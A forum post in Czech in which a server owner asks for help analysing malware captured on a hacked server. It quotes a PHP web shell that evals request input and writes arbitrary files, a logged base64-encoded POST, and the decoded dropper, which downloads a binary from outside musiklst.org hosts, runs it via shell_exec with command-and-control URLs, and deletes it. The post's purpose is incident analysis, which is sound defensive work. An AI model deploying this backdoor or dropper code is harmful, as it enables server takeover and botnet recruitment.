Ahoj, prosím pomozte mi zanalyzovat skripty odchycené na hacklém serveru.
Nedávno mi někdo hacknul server a nejspíš jsem se stal součástí nějakého botnetu.
Protože jsem už před půlrokem řešil problém rozesílání spamu - clamavem nalezeny a odstraněny infekce spambotu, nainstalil jsem do apache modul modsecurity a v něm zapl auditlog hlaviček a požadavků POST.
Po nějaké době jsem koukal do auditlogu a našel záznam, kdy po vyvolání infikované stránky na mém serveru došlo ke stažení skriptu a spuštění různých akcí.
Ten skript jsem dekódoval a snažím se rozklíčovat, co přesně dělá.
infikovaná stránka obsahovala toto:
<?php $ietdgc = "8c8580370182a2d20127a69c5c7b1af6";
if(isset($_REQUEST['eosdzj']))
{ $wmbqhi = $_REQUEST['eosdzj'];
eval($wmbqhi); exit(); }
if(isset($_REQUEST['geokxjkd']))
{ $wwdqd = $_REQUEST['ulgidjx'];
$koayobr = $_REQUEST['geokxjkd'];
$lyuot = fopen($koayobr, 'w');
$zcawdru = fwrite($lyuot, $wwdqd);
fclose($lyuot);
echo $zcawdru;
exit(); }
?>
Tohle byl pak POST v logu:
eosdzj=%24p+%3d+array%5fkeys%28%24%5fREQUEST%29%3b+echo+%24%5fREQUEST%5b%24p%5b2%5d%5d%3b+eval%28base64%5fdecode%28%24%5fREQUEST%5b%24p%5b1%5d%5d%29%29%3b&p1=ZnVuY3Rpb24gZG93bmxvYWRGaWxlICgkdXJsLCAkcGF0aCkgewoKICAkbmV3Zm5hbWUgPSAkcGF0aDsKICAkZmlsZSA9IGZvcGVuICgkdXJsLCAicmIiKTsKICBpZiAoJGZpbGUpIHsKICAgICRuZXdmID0gZm9wZW4gKCRuZXdmbmFtZSwgIndiKyIpOwoKICAgIGlmICgkbmV3ZikKICAgIHdoaWxlKCFmZW9mKCRmaWxlKSkgewogICAgICBmd3JpdGUoJG5ld2YsIGZyZWFkKCRmaWxlLCAxMDI0ICogNjQgKSwgMTAyNCAqIDY0ICk7CiAgICB9CiAgfQoKICBpZiAoJGZpbGUpIHsKICAgIGZjbG9zZSgkZmlsZSk7CiAgfQoKICBpZiAoJG5ld2YpIHsKICAgIGZjbG9zZSgkbmV3Zik7CiAgfQogfQoKJG9zID0gcGhwX3VuYW1lKCdzJyk7CiR0eXBlID0gcGhwX3VuYW1lKCdtJyk7CgplY2hvICJQSFBfU1RBUlQiOwoKaWYgKCAhZnVuY3Rpb25fZXhpc3RzKHNoZWxsX2V4ZWMpICkKewoJZWNobyAibm9leGVjXG4iOwoJZWNobyAiUEhQX0VORCI7CglleGl0KDApOwp9CgppZiAoICRvcyAhPT0gIkxpbnV4IiApCnsKCWVjaG8gIk5vTGludXg6ICIuJG9zLiI8YnI%2bXG4iOwoJZWNobyAiUEhQX0VORCI7CglleGl0KDApOwp9CgoKCmlmICgkdHlwZSA9PSAieDg2XzY0IikgLy82NC1iaXQgb3MKewoJcHJpbnQgIng4Nl82NFxuIjsKCSRkdyA9ICJodHRwOi8vcGFnZXMubXVzaWtsc3Qub3JnL3BzNjQiOwoJJHBzID0gIi4vcHM2NCI7Cn0KZWxzZQp7CglwcmludCAiaTY4NlxuIjsKCSRkdyA9ICJodHRwOi8vcGFnZXMubXVzaWtsc3Qub3JnL3BzMzIiOwoJJHBzID0gIi4vcHMzMiI7Cn0KCiRwcyA9ICJwcyI7CgppZiAoIWZpbGVfZXhpc3RzKCRwcykpCnsKCWVjaG8gIkRvd25sb2FkICRkd1xuIjsKCWRvd25sb2FkRmlsZSgkZHcsICRwcyk7CgkvL0BmaWxlX3B1dF9jb250ZW50cygiJFBTIiwgQGZpbGVfZ2V0X2NvbnRlbnRzKCRkdykpOwp9CmVsc2UKewoJZWNobyAiRXhpc3RzICRwc1xuIjsKfQoKCmNobW9kICgkcHMsICIwNzU1Iik7CgokZW52ID0gIkJEVT1odHRwOi8vYnQyMi5tdXNpa2xzdC5vcmcvYXIxLnBocCBTSFU9aHR0cDovL3Nlby5tdXNpa2xzdC5vcmcvZ3UucGhwIFNLVT1odHRwOi8vc2VlazIyLm11c2lrbHN0Lm9yZy8gTElOPTYwMDAgREJOPWFmMDAxIjsKJGNtZCA9ICRlbnYuIiAuLyRwcyA%2bL2Rldi9udWxsIDI%2bL2Rldi9udWxsICYiOwokb3V0ID0gc2hlbGxfZXhlYygkY21kKTsKCnVubGluayAoJHBzKTsKCmVjaG8gIlBIUF9FTkQiOwo%3d&p2=b1946ac92492d2347c6235b4d2611184&shid=33338
ten POST jsem rozkódoval-obsahuje toto:
$p = array_keys($_REQUEST);
echo $_REQUEST[$p[2]];
eval(base64_decode($_REQUEST[$p[1]]));
a proměnná $p[1] obsahuje tento skript:
function downloadFile ($url, $path)
{ $newfname = $path; $file = fopen ($url, "rb");
if ($file) { $newf = fopen ($newfname, "wb+");
if ($newf) while(!feof($file))
{ fwrite($newf, fread($file, 1024 * 64 ), 1024 * 64 ); }
}
if ($file) { fclose($file); }
if ($newf) { fclose($newf); } }
$os = php_uname('s');
$type = php_uname('m');
echo "PHP_START";
if ( !function_exists(shell_exec) )
{ echo "noexec\n"; echo "PHP_END"; exit(0); }
if ( $os !== "Linux" ) { echo "NoLinux: ".$os."
<br>\n";
echo "PHP_END";
exit(0);
}
if ($type == "x86_64") //64-bit os
{
print "x86_64\n";
$dw = "http://pages.musiklst.org/ps64";
$ps = "./ps64";
}
else
{
print "i686\n";
$dw = "http://pages.musiklst.org/ps32";
$ps = "./ps32";
}
$ps = "ps";
if (!file_exists($ps))
{
echo "Download $dw\n";
downloadFile($dw, $ps);
//@file_put_contents("$PS", @file_get_contents($dw));
}
else
{
echo "Exists $ps\n";
}
chmod ($ps, "0755");
$env = "BDU=http://bt22.musiklst.org/ar1.php SHU=http://seo.musiklst.org/gu.php SKU=http://seek22.musiklst.org/ LIN=6000 DBN=af001";
$cmd = $env." ./$ps >/dev/null 2>/dev/null &";
$out = shell_exec($cmd);
unlink ($ps);
echo "PHP_END";
)